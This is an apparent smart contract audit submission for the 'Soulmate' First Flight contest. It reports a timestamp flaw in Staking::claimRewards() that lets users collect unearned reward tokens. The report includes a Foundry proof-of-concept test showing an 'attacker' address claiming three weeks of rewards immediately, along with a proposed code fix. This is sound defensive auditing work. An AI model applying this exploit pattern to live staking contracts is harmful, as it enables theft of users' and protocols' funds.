First Flight #9: Soulmate
First Flight #9
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`Staking::claimRewards()` function incorrectly tracks user deposits leading to incorrect distribution of rewards.

glitchical

Summary

The Staking::claimRewards() function incorrectly tracks timestamp for msg.sender and allows anyone to claim token rewards without having to wait 1 week since a deposit.

Vulnerability Details

The Staking::claimRewards() function is meant to give tokens to those who have deposited tokens into the contract for a specific time. For example, if 1 token is deposited, they can claim 1 token after 1 week, however the contract does not follow the intended behavior. The issue lies when setting the lastClaim local variable:

function claimRewards() public {
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
@> lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
@> soulmateId
@> );
}
​
// How many weeks passed since the last claim.
// Thanks to round-down division, it will be the lower amount possible until a week has completly pass.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
​
if (timeInWeeksSinceLastClaim < 1)
revert Staking__StakingPeriodTooShort();
​
lastClaim[msg.sender] = block.timestamp;
​
// Send the same amount of LoveToken as the week waited times the number of token staked
uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);
​
emit RewardsClaimed(msg.sender, amountToClaim);
}

When the contract is first called, the function declares and sets the soulmateId of msg.sender by calling the Soulmate::ownerToId() function. This will set the soulmate NFT ID that belongs to msg.sender. It's worth noting, if msg.sender has never claimed a soulmate via Soulmate::mintSoulmateToken() this will set the soulmateId to 0, while if the msg.sender is awaiting a soulmate, this will set soulmateId to the NFT ID that will be minted.

The function proceeds to see if lastClaim[msg.sender] equals 0. If we assume this is the first time a soulmate attempts to claim, it will call Soulmate::idToCreationTimestamp() function and set lastClaim[msg.sender] to the timestamp their soulmate NFT was created. For a user who has no soulmate, this will set lastClaim[msg.sender] to the time the first soulmate NFT was created. For a user who is still awaiting a soulmate, it will set lastClaim[msg.sender] to 0 as the timestamp of the next soulmate NFT ID doesn't exist yet.

If we then look at how then the timeInWeeksSinceLastClaim local variable is set:

uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);

This takes the current block.timestamp and minuses it from lastClaim[msg.sender]. This results in the time since the soulmate NFT was created, and not when tokens were deposited into the staking contract.

For a user who has never minted a soulmate, This results in the time since the first soulmate NFT was created, and not when tokens were deposited into the staking contract.

In a case where a user is awaiting a soulmate, block.timestamp - 0 will result in just block.timestamp. Thus the calculation for timeInWeeksSinceLastClaim will just be block.timestamp / 1 weeks (604800). If we assume block.timestamp is equal to X amount of weeks, this user will be rewarded X amount of tokens regardless of when their tokens were deposited.

It's worth noting if no soulmate NFTs have been minted, there should be no way for tokens to be deposited assuming the only way to claim tokens is initially through the Airdrop::claim() function.

Impact

  • A soulmate is rewarded tokens based on when their soulmate NFT was created regardless of the time they deposited.

  • A user who has never minted a soulmate will be rewarded tokens based on when the first soulmate NFT was created regardless of the time they deposited.

  • A user awaiting a soulmate but has deposited tokens can be rewarded tokens based on current block.timestamp divided by 604800 (1 weeks) regardless of the time they deposited.

POC

We can imagine the most-likely scenario and how it plays out:

  1. User A calls Soulmate::mintSoulmateToken().

  2. User B calls Soulmate::mintSoulmateToken() and now NFT #0 has been minted.

  3. 7 days passes by since NFT #0 was minted.

  4. User A calls Airdrop::claim() and now has 7 lovetokens.

  5. User A transfers 7 lovetokens to user C.

  6. User C deposits 7 lovetokens to Staking contract.

  7. User C calls Soulmate::mintSoulmateToken() and is awaiting a soulmate.

  8. User C calls Staking::claimRewards().

Below you can see a POC of the above scenario including how block.timestamp affects rewards:

function test_ClaimRewardsWithoutSoulmate() public {
vm.warp(block.timestamp + 2 weeks);
​
_mintOneTokenForBothSoulmates();
​
vm.warp(block.timestamp + 1 weeks + 1 seconds);
​
vm.prank(soulmate1);
airdropContract.claim();
​
address attacker = makeAddr("attacker");
uint256 amountToAttackWith = 7 ether;
​
vm.prank(soulmate1);
loveToken.transfer(attacker, amountToAttackWith);
​
vm.startPrank(attacker);
soulmateContract.mintSoulmateToken();
loveToken.approve(address(stakingContract), amountToAttackWith);
stakingContract.deposit(amountToAttackWith);
stakingContract.claimRewards();
​
assertTrue(loveToken.balanceOf(attacker) == 21 ether); // 7 tokens deposited * 3 weeks = 21 tokens!
}

Tools Used

VS Code, Foundry

Recommendations

Consider creating a lastDeposit mapping and setting the mapping in Staking::deposit() for a deposit and reference that timestamp in Staking::claimRewards() for the very first claim of an user. You'll also want to include a check to make sure a user has deposited. Note that this could "reset" the ability to claim if the user makes multiple deposits prior to their first claim:

+ error Staking__NoDepositsMade();
​
+ mapping(address user => uint256 timestamp) public lastDeposit;
​
function deposit(uint256 amount) public {
if (loveToken.balanceOf(address(stakingVault)) == 0)
revert Staking__NoMoreRewards();
// No require needed because of overflow protection
userStakes[msg.sender] += amount;
+ lastDeposit[msg.sender] = block.timestamp;
loveToken.transferFrom(msg.sender, address(this), amount);
​
emit Deposited(msg.sender, amount);
}
​
function claimRewards() public {
- uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
+ if (lastDeposit[msg.sender] == 0)
+ revert Staking__NoDepositsMade();
​
// first claim
if (lastClaim[msg.sender] == 0) {
- lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
- soulmateId
- );
+ lastClaim[msg.sender] = lastDeposit[msg.sender];
}
​
// How many weeks passed since the last claim.
// Thanks to round-down division, it will be the lower amount possible until a week has completly pass.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
​
if (timeInWeeksSinceLastClaim < 1)
revert Staking__StakingPeriodTooShort();
​
lastClaim[msg.sender] = block.timestamp;
​
// Send the same amount of LoveToken as the week waited times the number of token staked
uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);
​
emit RewardsClaimed(msg.sender, amountToClaim);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

finding-claimRewards-nft-0-lastClaim

High severity, as it allows any pending user to claim staking rewards without owning a soulmate NFT by - Obtaining love tokens on secondary markets - Transfer previously accrued love tokens via airdrops/rewards to another account and abusing the `deposit()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.